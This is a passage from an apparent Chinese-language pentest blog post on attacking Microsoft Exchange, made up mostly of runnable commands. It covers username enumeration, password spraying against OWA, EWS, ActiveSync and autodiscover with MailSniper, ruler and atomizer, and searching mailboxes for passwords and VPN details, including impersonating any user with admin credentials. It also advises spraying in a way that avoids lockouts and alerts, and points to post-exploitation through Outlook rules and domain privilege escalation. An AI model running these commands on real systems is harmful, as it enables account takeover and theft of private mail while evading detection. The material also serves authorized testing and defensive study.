Invoke-UsernameHarvestEAS -ExchHostname mail.domain.com -Domain domainname -UserList .\userlist.txt -Threads 1 -OutFile eas-valid-users.txt

PS : 作者说这个问题提交给微软以后并没有修复,但是实际测试效果并不好,但是没准碰到可以使用的情况也说不定。

当获取到一个用户的账号密码之后,可以通过Get-GlobalAddressList来获取GlobalAddress的用户邮箱地址:

Get-GlobalAddressList -ExchHostname owaurl -UserName username -Password password

-w1130

0x03 Brute Force

在这里暴力破解的地方有很多个,首先可以通过burpsuite对OWA进行暴力破解,另外就是/autodiscover/ews/Microsoft-Server-ActiveSync 等几个endpoint,可利用的工具如:MailSniperRulerSprayingToolkit,可根据个人喜好取舍。为了防止账号因多次登陆失败触发告警或账户被封禁,建议使用同密码爆破用户名的方式进行暴力破解。下面介绍一下MailSniper的相关方法的使用。

通过owa爆破:

Import-Module .\MailSniper.ps1
Invoke-PasswordSprayOWA -ExchHostname OWAHOST -UserList .\user.txt -Password password -Threads 1 -Domain domainname -OutFile out.txt -Verbose 

-w960

通过ews爆破:

Invoke-PasswordSprayEWS -ExchHostname EWSHOST -UserList .\user.txt -Password password -Threads 1 -Domain domainname -OutFile out.txt -Verbose 

-w964

通过Microsoft-Server-ActiveSync爆破:

Invoke-PasswordSprayEAS -ExchHostname MSAHOST -UserList .\user.txt -Password password -Threads 1 -Domain domainname -OutFile out.txt -Verbose 

-w898

通过autodiscover 爆破:
在MailSniper中没有写对autodiscover的爆破,可以选择使用burp、ruler或者SprayingToolkit。

python atomizer.py owa autodiscoverhost password user.txt

-w747

./ruler --domain autodiscoverhost -k brute --users user.txt --passwords pass.txt --delay 0 --threads 10 -v

-w877

0x04 Search mail

在获取到某用户邮箱账号密码以后,我们可以对其邮件内容进行搜索,除了直接登录邮件外,也可以使用Exchange的接口进行邮件的检索,其接口的相关开发可以参考《Exchange Web Service(EWS)开发指南》,在外网情况下,可使用此工具来列出邮件内容。

 ./ewsManage.exe -CerValidation No -ExchangeVersion Exchange2013_SP1 -u username -p password -ewsPath https://ewshost/ews/Exchange.asmx -Mode ListMail -Folder Inbox

-w959

搜索某字符串:

 ./ewsManage.exe -CerValidation No -ExchangeVersion Exchange2013_SP1 -u username -p password -ewsPath https://ewhost/ews/Exchange.asmx -Mode SearchMail -String vpn

-w1439

内网情况下可使用MailSniper来快速检索,如使用xiaoming\domain用户登录某主机,可在该主机上搜索xiaoming的邮箱(不需要密码)

Invoke-SelfSearch -Mailbox user@domain.com -Terms *pass* -Folder all -ExchangeVersion Exchange2013_SP1 -OutputCsv 1.csv

-w841

如果获得了域管理员的密码,可以检索任意邮件的内容:

Invoke-GlobalMailSearch -ImpersonationAccount beiguoxia -ExchHostname Exchangehostname -AdminUserName domain\administrator  -AdminPassword password -Term "*pass*" -Folder all

1547034512542.jpg

检索可使用-Term或者正则-Regex来指定关键字,-ImpersonationAccount用于将当前用户身份合法伪装其他邮箱用户,进而获得查询所有邮箱用户邮件的权限,如果查询失败,可以尝试添加-ExchangeVersion更换Exchange版本,目前支持版本为Exchange2007_SP1, Exchange2010, Exchange2010_SP1, Exchange2010_SP2, Exchange2013,Exchange2013_SP1

0x05 后渗透

在获取一个用户的账号密码之后,如何进入内网?这里有一个神器Ruler,在Outlook中有一个Rules and Alerts的功能,利用此功能,可执行一些特定的如执行命令等操作,关于ruler的具体使用,可以参考相关文章,另外在内网中,如何去发现Exchange服务器,如何使用NTLM中继来接管某用户邮箱的权限,这些内容在《深入Exchange Server在网络渗透下的利用方法》中有了很详细的讲解,在这里就不多做阐述。

另外需要补充一点可能有用的东西,Exchange安装以后会创建一个Organization Management 安全组:

-w650

该组内的成员除了访问Exchagne设置外,可以修改其他Exchagne安全组的成员身份,如Exchange Trusted Subsystem,此组为Exchange Windows Permissions的成员

-w477

默认情况下,Exchange Windows Permissions安全组对安装Exchange的域的域对象具有writeDACL权限,这就意味着,我们可以进行权限的提升,详细的文章可以参考《Escalating privileges with ACLs in Active Directory》

0x06 总结

本文记录了我自己对Exchange在渗透中的利用的一些方式的总结,欢迎补充,更详细的内容可以查看参考的文章。

0x07 参考

  1. https://blog.riskivy.com/exchange-server-in-pentest/?from=timeline&isappinstalled=0
  2. https://www.blackhillsinfosec.com/password-spraying-outlook-web-access-how-to-gain-access-to-domain-credentials-without-being-on-a-targets-network-part-2/
  3. https://3gstudent.github.io/3gstudent.github.io/Exchange-Web-Service(EWS)%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%97/
  4. https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/




Latest Images